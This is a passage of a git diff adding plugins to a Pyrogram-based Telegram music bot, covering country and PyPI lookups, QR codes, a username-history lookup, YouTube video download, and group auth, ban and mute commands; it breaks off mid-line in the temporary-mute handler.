b/ChampuXMusic/plugins/TheChampu/population.py @@ -0,0 +1,40 @@ +from pyrogram import Client, filters +from pyrogram.types import Message +import requests +from ChampuXMusic import app + + +@app.on_message(filters.command("population")) +def country_command_handler(client: Client, message: Message): + # Extract the country code from the command + country_code = message.text.split(maxsplit=1)[1].strip() + + # Call the external API for country information + api_url = f"https://restcountries.com/v3.1/alpha/{country_code}" + + try: + response = requests.get(api_url) + response.raise_for_status() # Raise an HTTPError for bad responses + + country_info = response.json() + if country_info: + # Extract relevant information from the API response + country_name = country_info[0].get("name", {}).get("common", "N/A") + capital = country_info[0].get("capital", ["N/A"])[0] + population = country_info[0].get("population", "N/A") + + response_text = ( + f"Country Information\n\n" + f"Name: {country_name}\n" + f"Capital: {capital}\n" + f"Population: {population}" + ) + else: + response_text = "Error fetching country information from the API." + except requests.exceptions.HTTPError as http_err: + response_text = f"HTTP error occurred Enter correct Country code" + except Exception as err: + response_text = f" Error " + + # Send the response to the Telegram chat + message.reply_text(response_text) diff --git a/ChampuXMusic/plugins/TheChampu/pypi.py b/ChampuXMusic/plugins/TheChampu/pypi.py new file mode 100644 index 0000000..06de247 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/pypi.py @@ -0,0 +1,49 @@ +from pyrogram import Client, filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup +import requests +from ChampuXMusic import app + + +def get_pypi_info(package_name): + try: + + api_url = f"https://pypi.org/pypi/{package_name}/json" + + # Sending a request to the PyPI API + response = requests.get(api_url) + + # Extracting information from the API response + pypi_info = response.json() + + return pypi_info + + except Exception as e: + print(f"Error fetching PyPI information: {e}") + return None + +@app.on_message(filters.command("pypi", prefixes="/")) +def pypi_info_command(client, message): + try: + + package_name = message.command[1] + + # Getting information from PyPI + pypi_info = get_pypi_info(package_name) + + if pypi_info: + # Creating a message with PyPI information + info_message = f"ᴘᴀᴄᴋᴀɢᴇ ɴᴀᴍᴇ ➪ {pypi_info['info']['name']}\n\n" \ + f"Lᴀᴛᴇsᴛ ᴠɪʀsɪᴏɴ➪ {pypi_info['info']['version']}\n\n" \ + f"Dᴇsᴄʀɪᴘᴛɪᴏɴ➪ {pypi_info['info']['summary']}\n\n" \ + f"ᴘʀᴏJᴇᴄᴛ ᴜʀʟ➪ {pypi_info['info']['project_urls']['Homepage']}" + + # Sending the PyPI information back to the user + client.send_message(message.chat.id, info_message) + + else: + # Handling the case where information retrieval failed + client.send_message(message.chat.id, "Failed to fetch information from PyPI.") + + except IndexError: + + client.send_message(message.chat.id, "Please provide a package name after the /pypi command.") diff --git a/ChampuXMusic/plugins/TheChampu/qr.py b/ChampuXMusic/plugins/TheChampu/qr.py new file mode 100644 index 0000000..6389b45 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/qr.py @@ -0,0 +1,40 @@ +from pyrogram import Client, filters +from pyrogram.types import Message +import qrcode +from ChampuXMusic import app +from PIL import Image +import io + + + +# Function to create a QR code +def generate_qr_code(text): + qr = qrcode.QRCode( + version=1, + error_correction=qrcode.constants.ERROR_CORRECT_L, + box_size=10, + border=4, + ) + qr.add_data(text) + qr.make(fit=True) + + img = qr.make_image(fill_color="white", back_color="black") + + # Save the QR code to a bytes object to send with Pyrogram + img_bytes = io.BytesIO() + img.save(img_bytes, format='PNG') + img_bytes.seek(0) # Go to the start of the bytes object + + return img_bytes + + +@app.on_message(filters.command("qr")) +def qr_handler(client, message: Message): + # Extracting the text passed after the command + command_text = message.command + if len(command_text) > 1: + input_text = " ".join(command_text[1:]) + qr_image = generate_qr_code(input_text) + message.reply_photo(qr_image, caption="Here's your QR Code") + else: + message.reply_text("Please provide the text for the QR code after the command. Example usage: /qr text") diff --git a/ChampuXMusic/plugins/TheChampu/sg.py b/ChampuXMusic/plugins/TheChampu/sg.py new file mode 100644 index 0000000..2920e95 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/sg.py @@ -0,0 +1,53 @@ +import asyncio +import random + +from pyrogram import Client, filters +from pyrogram.types import Message +from pyrogram.raw.functions.messages import DeleteHistory + +from ChampuXMusic import userbot as us, app +from ChampuXMusic.core.userbot import assistants + +@app.on_message(filters.command("sg")) +async def sg(client: Client, message: Message): + if len(message.text.split()) < 1 and not message.reply_to_message: + return await message.reply("sg username/id/reply") + if message.reply_to_message: + args = message.reply_to_message.from_user.id + else: + args = message.text.split()[1] + lol = await message.reply("Processing...") + if args: + try: + user = await client.get_users(f"{args}") + except Exception: + return await lol.edit("Please specify a valid user!") + bo = ["sangmata_bot", "sangmata_beta_bot"] + sg = random.choice(bo) + if 1 in assistants: + ubot = us.one + + try: + a = await ubot.send_message(sg, f"{user.id}") + await a.delete() + except Exception as e: + return await lol.edit(e) + await asyncio.sleep(1) + + async for stalk in ubot.search_messages(a.chat.id): + if stalk.text == None: + continue + if not stalk: + await message.reply("botnya ngambek") + elif stalk: + await message.reply(f"{stalk.text}") + break # Exit the loop after displaying one message + + try: + user_info = await ubot.resolve_peer(sg) + await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True)) + except Exception: + pass + + await lol.delete() + diff --git a/ChampuXMusic/plugins/TheChampu/video.py b/ChampuXMusic/plugins/TheChampu/video.py new file mode 100644 index 0000000..1132af3 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/video.py @@ -0,0 +1,111 @@ +import future + +import asyncio +import os +import time +from urllib.parse import urlparse + +import wget +from pyrogram import filters +from pyrogram.types import Message +from youtubesearchpython import SearchVideos +from yt_dlp import YoutubeDL + +from ChampuXMusic import app + + +def get_file_extension_from_url(url): + url_path = urlparse(url).path + basename = os.path.basename(url_path) + return basename.split(".")[-1] + + +def get_text(message: Message) -> [None, str]: + """Extract Text From Commands""" + text_to_return = message.text + if message.text is None: + return None + if " " in text_to_return: + try: + return message.text.split(None, 1)[1] + except IndexError: + return None + else: + return None + + +@app.on_message(filters.command(["yt", "video"])) +async def ytmusic(client, message: Message): + urlissed = get_text(message) + await message.delete() + user_id = message.from_user.id + user_name = message.from_user.first_name + chutiya = "[" + user_name + "](tg://user?id=" + str(user_id) + ")" + + pablo = await client.send_message(message.chat.id, f"sᴇᴀʀᴄʜɪɴɢ, ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ...") + if not urlissed: + await pablo.edit( + "😴 sᴏɴɢ ɴᴏᴛ ғᴏᴜɴᴅ ᴏɴ ʏᴏᴜᴛᴜʙᴇ.\n\n» ᴍᴀʏʙᴇ ᴛᴜɴᴇ ɢᴀʟᴛɪ ʟɪᴋʜᴀ ʜᴏ, ᴩᴀᴅʜᴀɪ - ʟɪᴋʜᴀɪ ᴛᴏʜ ᴋᴀʀᴛᴀ ɴᴀʜɪ ᴛᴜ !" + ) + return + + search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) + mi = search.result() + mio = mi["search_result"] + mo = mio[0]["link"] + thum = mio[0]["title"] + fridayz = mio[0]["id"] + thums = mio[0]["channel"] + kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" + await asyncio.sleep(0.6) + url = mo + sedlyf = wget.download(kekme) + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [{"key": "FFmpegVideoConvertor", "preferedformat": "mp4"}], + "outtmpl": "%(id)s.mp4", + "logtostderr": False, + "quiet": True, + } + try: + with YoutubeDL(opts) as ytdl: + infoo = ytdl.extract_info(url, False) + round(infoo["duration"] / 60) + ytdl_data = ytdl.extract_info(url, download=True) + + except Exception as e: + await pablo.edit(f"**ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ.** \n**ᴇʀʀᴏʀ :** `{str(e)}`") + return + c_time = time.time() + file_stark = f"{ytdl_data['id']}.mp4" + capy = f"❄ **ᴛɪᴛʟᴇ :** [{thum}]({mo})\n💫 **ᴄʜᴀɴɴᴇʟ :** {thums}\n✨ **sᴇᴀʀᴄʜᴇᴅ :** {urlissed}\n🥀 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :** {chutiya}" + await client.send_video( + message.chat.id, + video=open(file_stark, "rb"), + duration=int(ytdl_data["duration"]), + file_name=str(ytdl_data["title"]), + thumb=sedlyf, + caption=capy, + supports_streaming=True, + progress_args=( + pablo, + c_time, + f"» ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nᴜᴩʟᴏᴀᴅɪɴɢ `{urlissed}` ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ sᴇʀᴠᴇʀs...💫", + file_stark, + ), + ) + await pablo.delete() + for files in (sedlyf, file_stark): + if files and os.path.exists(files): + os.remove(files) + + +__mod_name__ = "Vɪᴅᴇᴏ" +__help__ = """ +/video to download video song +/yt to download video song """ diff --git a/Champu/plugins/__init__.py b/ChampuXMusic/plugins/__init__.py similarity index 80% rename from Champu/plugins/__init__.py rename to ChampuXMusic/plugins/__init__.py index 775bf92..255d2b3 100644 --- a/Champu/plugins/__init__.py +++ b/ChampuXMusic/plugins/__init__.py @@ -9,9 +9,7 @@ def __list_all_modules(): all_modules = [ (((f.replace(work_dir, "")).replace("/", "."))[:-3]) for f in mod_paths - if isfile(f) - and f.endswith(".py") - and not f.endswith("__init__.py") + if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py") ] return all_modules diff --git a/ChampuXMusic/plugins/admins/auth.py b/ChampuXMusic/plugins/admins/auth.py new file mode 100644 index 0000000..0d5e53a --- /dev/null +++ b/ChampuXMusic/plugins/admins/auth.py @@ -0,0 +1,90 @@ +from pyrogram import filters +from pyrogram.types import Message + +from ChampuXMusic import app +from ChampuXMusic.utils import extract_user, int_to_alpha +from ChampuXMusic.utils.database import ( + delete_authuser, + get_authuser, + get_authuser_names, + save_authuser, +) +from ChampuXMusic.utils.decorators import AdminActual, language +from ChampuXMusic.utils.inline import close_markup +from config import BANNED_USERS, adminlist + + +@app.on_message(filters.command("auth") & filters.group & ~BANNED_USERS) +@AdminActual +async def auth(client, message: Message, _): + if not message.reply_to_message: + if len(message.command) != 2: + return await message.reply_text(_["general_1"]) + user = await extract_user(message) + token = await int_to_alpha(user.id) + _check = await get_authuser_names(message.chat.id) + count = len(_check) + if int(count) == 25: + return await message.reply_text(_["auth_1"]) + if token not in _check: + assis = { + "auth_user_id": user.id, + "auth_name": user.first_name, + "admin_id": message.from_user.id, + "admin_name": message.from_user.first_name, + } + get = adminlist.get(message.chat.id) + if get: + if user.id not in get: + get.append(user.id) + await save_authuser(message.chat.id, token, assis) + return await message.reply_text(_["auth_2"].format(user.mention)) + else: + return await message.reply_text(_["auth_3"].format(user.mention)) + + +@app.on_message(filters.command("unauth") & filters.group & ~BANNED_USERS) +@AdminActual +async def unauthusers(client, message: Message, _): + if not message.reply_to_message: + if len(message.command) != 2: + return await message.reply_text(_["general_1"]) + user = await extract_user(message) + token = await int_to_alpha(user.id) + deleted = await delete_authuser(message.chat.id, token) + get = adminlist.get(message.chat.id) + if get: + if user.id in get: + get.remove(user.id) + if deleted: + return await message.reply_text(_["auth_4"].format(user.mention)) + else: + return await message.reply_text(_["auth_5"].format(user.mention)) + + +@app.on_message( + filters.command(["authlist", "authusers"]) & filters.group & ~BANNED_USERS +) +@language +async def authusers(client, message: Message, _): + _wtf = await get_authuser_names(message.chat.id) + if not _wtf: + return await message.reply_text(_["setting_4"]) + else: + j = 0 + mystic = await message.reply_text(_["auth_6"]) + text = _["auth_7"].format(message.chat.title) + for umm in _wtf: + _umm = await get_authuser(message.chat.id, umm) + user_id = _umm["auth_user_id"] + admin_id = _umm["admin_id"] + admin_name = _umm["admin_name"] + try: + user = (await app.get_users(user_id)).first_name + j += 1 + except: + continue + text += f"{j}➤ {user}[{user_id}]\n" + text += f" {_['auth_8']} {admin_name}[{admin_id}]\n\n" + await mystic.edit_text(text, reply_markup=close_markup(_)) + diff --git a/ChampuXMusic/plugins/admins/ban.py b/ChampuXMusic/plugins/admins/ban.py new file mode 100644 index 0000000..6617c94 --- /dev/null +++ b/ChampuXMusic/plugins/admins/ban.py @@ -0,0 +1,420 @@ +from pyrogram import filters, enums +from pyrogram.types import ( + InlineKeyboardButton, + InlineKeyboardMarkup, + ChatPermissions +) +from pyrogram.errors.exceptions.bad_request_400 import ( + ChatAdminRequired, + UserAdminInvalid, + BadRequest +) + +import datetime +from ChampuXMusic import app + + + + +def mention(user, name, mention=True): + if mention == True: + link = f"[{name}](tg://openmessage?user_id={user})" + else: + link = f"[{name}](https://t.me/{user})" + return link + + + +async def get_userid_from_username(username): + try: + user = await app.get_users(username) + except: + return None + + user_obj = [user.id, user.first_name] + return user_obj + + +async def ban_user(user_id, first_name, admin_id, admin_name, chat_id, reason, time=None): + try: + await app.ban_chat_member(chat_id, user_id) + except ChatAdminRequired: + msg_text = "Ban rights? Nah, I'm just here for the digital high-fives 🙌\nGive me ban rights! 😡🥺" + return msg_text, False + except UserAdminInvalid: + msg_text = "I wont ban an admin bruh!!" + return msg_text, False + except Exception as e: + if user_id == 6711389550: + msg_text = "why should i ban myself? sorry but I'm not stupid like you" + return msg_text, False + + msg_text = f"opps!!\n{e}" + return msg_text, False + + user_mention = mention(user_id, first_name) + admin_mention = mention(admin_id, admin_name) + + msg_text += f"" + msg_text += f"{user_mention} was banned by {admin_mention}\n" + + if reason: + msg_text += f"Reason: `{reason}`\n" + if time: + msg_text += f"Time: `{time}`\n" + + return msg_text, True + + +async def unban_user(user_id, first_name, admin_id, admin_name, chat_id): + try: + await app.unban_chat_member(chat_id, user_id) + except ChatAdminRequired: + msg_text = "Ban rights? Nah, I'm just here for the digital high-fives 🙌\nGive me ban rights! 😡🥺" + return msg_text + except Exception as e: + msg_text = f"opps!!\n{e}" + return msg_text + + user_mention = mention(user_id, first_name) + admin_mention = mention(admin_id, admin_name) + + msg_text = f"{user_mention} was unbanned by {admin_mention}" + return msg_text + + + +async def mute_user(user_id, first_name, admin_id, admin_name, chat_id, reason, time=None): + try: + if time: + mute_end_time = datetime.datetime.now() + time + await app.restrict_chat_member(chat_id, user_id, ChatPermissions(), mute_end_time) + else: + await app.restrict_chat_member(chat_id, user_id, ChatPermissions()) + except ChatAdminRequired: + msg_text = "Mute rights? Nah, I'm just here for the digital high-fives 🙌\nGive me mute rights! 😡🥺" + return msg_text, False + except UserAdminInvalid: + msg_text = "I wont mute an admin bruh!!" + return msg_text, False + except Exception as e: + if user_id == 6664582540: + msg_text = "why should i mute myself? sorry but I'm not stupid like you" + return msg_text, False + + msg_text = f"opps!!\n{e}" + return msg_text, False + + user_mention = mention(user_id, first_name) + admin_mention = mention(admin_id, admin_name) + + msg_text += f"{user_mention} was muted by {admin_mention}\n" + + if reason: + msg_text += f"Reason: `{reason}`\n" + if time: + msg_text += f"Time: `{time}`\n" + + return msg_text, True + + +async def unmute_user(user_id, first_name, admin_id, admin_name, chat_id): + try: + await app.restrict_chat_member( + chat_id, + user_id, + ChatPermissions( + can_send_media_messages=True, + can_send_messages=True, + can_send_other_messages=True, + can_send_polls=True, + can_add_web_page_previews=True, + can_invite_users=True + ) + ) + except ChatAdminRequired: + msg_text = "Mute rights? Nah, I'm just here for the digital high-fives 🙌\nGive me unmute rights! 😡🥺" + return msg_text + except Exception as e: + msg_text = f"opps!!\n{e}" + return msg_text + + user_mention = mention(user_id, first_name) + admin_mention = mention(admin_id, admin_name) + + msg_text = f"{user_mention} was unmuted by {admin_mention}" + return msg_text + + + +@app.on_message(filters.command(["ban"])) +async def ban_command_handler(client, message): + chat = message.chat + chat_id = chat.id + admin_id = message.from_user.id + admin_name = message.from_user.first_name + member = await chat.get_member(admin_id) + if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER: + if member.privileges.can_restrict_members: + pass + else: + msg_text = "You dont have permission to ban someone" + return await message.reply_text(msg_text) + else: + msg_text = "You dont have permission to ban someone" + return await message.reply_text(msg_text) + + # Extract the user ID from the command or reply + if len(message.command) > 1: + if message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + reason = message.text.split(None, 1)[1] + else: + try: + user_id = int(message.command[1]) + first_name = "User" + except: + user_obj = await get_userid_from_username(message.command[1]) + if user_obj == None: + return await message.reply_text("I can't find that user") + user_id = user_obj[0] + first_name = user_obj[1] + + try: + reason = message.text.partition(message.command[1])[2] + except: + reason = None + + elif message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + reason = None + else: + await message.reply_text("Please specify a valid user or reply to that user's message") + return + + msg_text, result = await ban_user(user_id, first_name, admin_id, admin_name, chat_id, reason) + if result == True: + await message.reply_text(msg_text) + if result == False: + await message.reply_text(msg_text) + + +@app.on_message(filters.command(["unban"])) +async def unban_command_handler(client, message): + chat = message.chat + chat_id = chat.id + admin_id = message.from_user.id + admin_name = message.from_user.first_name + member = await chat.get_member(admin_id) + if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER: + if member.privileges.can_restrict_members: + pass + else: + msg_text = "You dont have permission to unban someone" + return await message.reply_text(msg_text) + else: + msg_text = "You dont have permission to unban someone" + return await message.reply_text(msg_text) + + # Extract the user ID from the command or reply + if len(message.command) > 1: + try: + user_id = int(message.command[1]) + first_name = "User" + except: + user_obj = await get_userid_from_username(message.command[1]) + if user_obj == None: + return await message.reply_text("I can't find that user") + user_id = user_obj[0] + first_name = user_obj[1] + + elif message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + else: + await message.reply_text("Please specify a valid user or reply to that user's message") + return + + msg_text = await unban_user(user_id, first_name, admin_id, admin_name, chat_id) + await message.reply_text(msg_text) + + + + +@app.on_message(filters.command(["mute"])) +async def mute_command_handler(client, message): + chat = message.chat + chat_id = chat.id + admin_id = message.from_user.id + admin_name = message.from_user.first_name + member = await chat.get_member(admin_id) + if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER: + if member.privileges.can_restrict_members: + pass + else: + msg_text = "You dont have permission to mute someone" + return await message.reply_text(msg_text) + else: + msg_text = "You dont have permission to mute someone" + return await message.reply_text(msg_text) + + # Extract the user ID from the command or reply + if len(message.command) > 1: + if message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + reason = message.text.split(None, 1)[1] + else: + try: + user_id = int(message.command[1]) + first_name = "User" + except: + user_obj = await get_userid_from_username(message.command[1]) + if user_obj == None: + return await message.reply_text("I can't find that user") + user_id = user_obj[0] + first_name = user_obj[1] + + try: + reason = message.text.partition(message.command[1])[2] + except: + reason = None + + elif message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + reason = None + else: + await message.reply_text("Please specify a valid user or reply to that user's message") + return + + msg_text, result = await mute_user(user_id, first_name, admin_id, admin_name, chat_id, reason) + if result == True: + await message.reply_text(msg_text) + + if result == False: + await message.reply_text(msg_text) + + +@app.on_message(filters.command(["unmute"])) +async def unmute_command_handler(client, message): + chat = message.chat + chat_id = chat.id + admin_id = message.from_user.id + admin_name = message.from_user.first_name + member = await chat.get_member(admin_id) + if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER: + if member.privileges.can_restrict_members: + pass + else: + msg_text = "You dont have permission to unmute someone" + return await message.reply_text(msg_text) + else: + msg_text = "You dont have permission to unmute someone" + return await message.reply_text(msg_text) + + # Extract the user ID from the command or reply + if len(message.command) > 1: + try: + user_id = int(message.command[1]) + first_name = "User" + except: + user_obj = await get_userid_from_username(message.command[1]) + if user_obj == None: + return await message.reply_text("I can't find that user") + user_id = user_obj[0] + first_name = user_obj[1] + + elif message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + else: + await message.reply_text("Please specify a valid user or reply to that user's message") + return + + msg_text = await unmute_user(user_id, first_name, admin_id, admin_name, chat_id) + await message.reply_text(msg_text) + + + + + +@app.on_message(filters.command(["tmute"])) +async def tmute_command_handler(client, message): + chat = message.chat + chat_id = chat.id + admin_id = message.from_user.id + admin_name = message.from_user.first_name + member = await chat.get_member(admin_id) + if member.status == enums.ChatMemberStatus.ADMINISTRATOR or member.status == enums.ChatMemberStatus.OWNER: + if member.privileges.can_restrict_members: + pass + else: + msg_text = "You dont have permission to mute someone" + return await message.reply_text(msg_text) + else: + msg_text = "You dont have permission to mute someone" + return await message.reply_text(msg_text) + + # Extract the user ID from the command or reply + if len(message.command) > 1: + if message.reply_to_message: + user_id = message.reply_to_message.from_user.id + first_name = message.reply_to_message.from_user.first_name + time = message.text.split(None, 1)[1] + + try: + time_amount = time.split(time[-1])[0] + time_amount = int(time_amount) + except: + return await message.reply_text("wrong format!!\nFormat: `/tmute 2m`") + + if time[-1] == "m": + mute_duration = datetime.timedelta(minutes=time_amount) + elif time[-1] == "h": + mute_duration = datetime.timedelta(hours=time_amount) + elif time[-1] == "d": + mute_duration = datetime.timedelta(days=time_amount) + else: + return await message.reply_text("wrong format!!\nFormat:\nm: Minutes\nh: Hours\nd: Days") + else: + try: + user_id = int(message.command[1]) + first_name = "User" + except: + user_obj = await get_userid_from_username(message.command[1]) + if user_obj == None: + return await message.reply_text("I can't find that user") + user_id = user_obj[0] + first_name = user_obj[1] + + try: + time = message.text.partition(message.command[1])[2] + try: + time_amount = time.split(time[-1])[0] + time_amount = int(time_amount) + except: + return await message.reply_text("wrong format!!\nFormat: `/tmute 2m`") + + if time[-1] == "m": + mute_duration = datetime.timedelta(minutes=time_amount) + elif time[-1] == "h": + mute_duration = datetime.timedelta(hours=time_amount) + elif time[-1] == "d": + mute_duration = datetime.timedelta(days=time_amount) + else: + return await message.reply_text("wrong format!!\nFormat:\nm: Minutes\nh: Hours\nd: Days") + except: + return await message.reply_text("Please specify a valid user or reply to that user's message\nFormat: `/tmute @user 2m`") + + else: + await message.reply_text("Please specify a valid user or reply to that user's message\nFormat: /tmute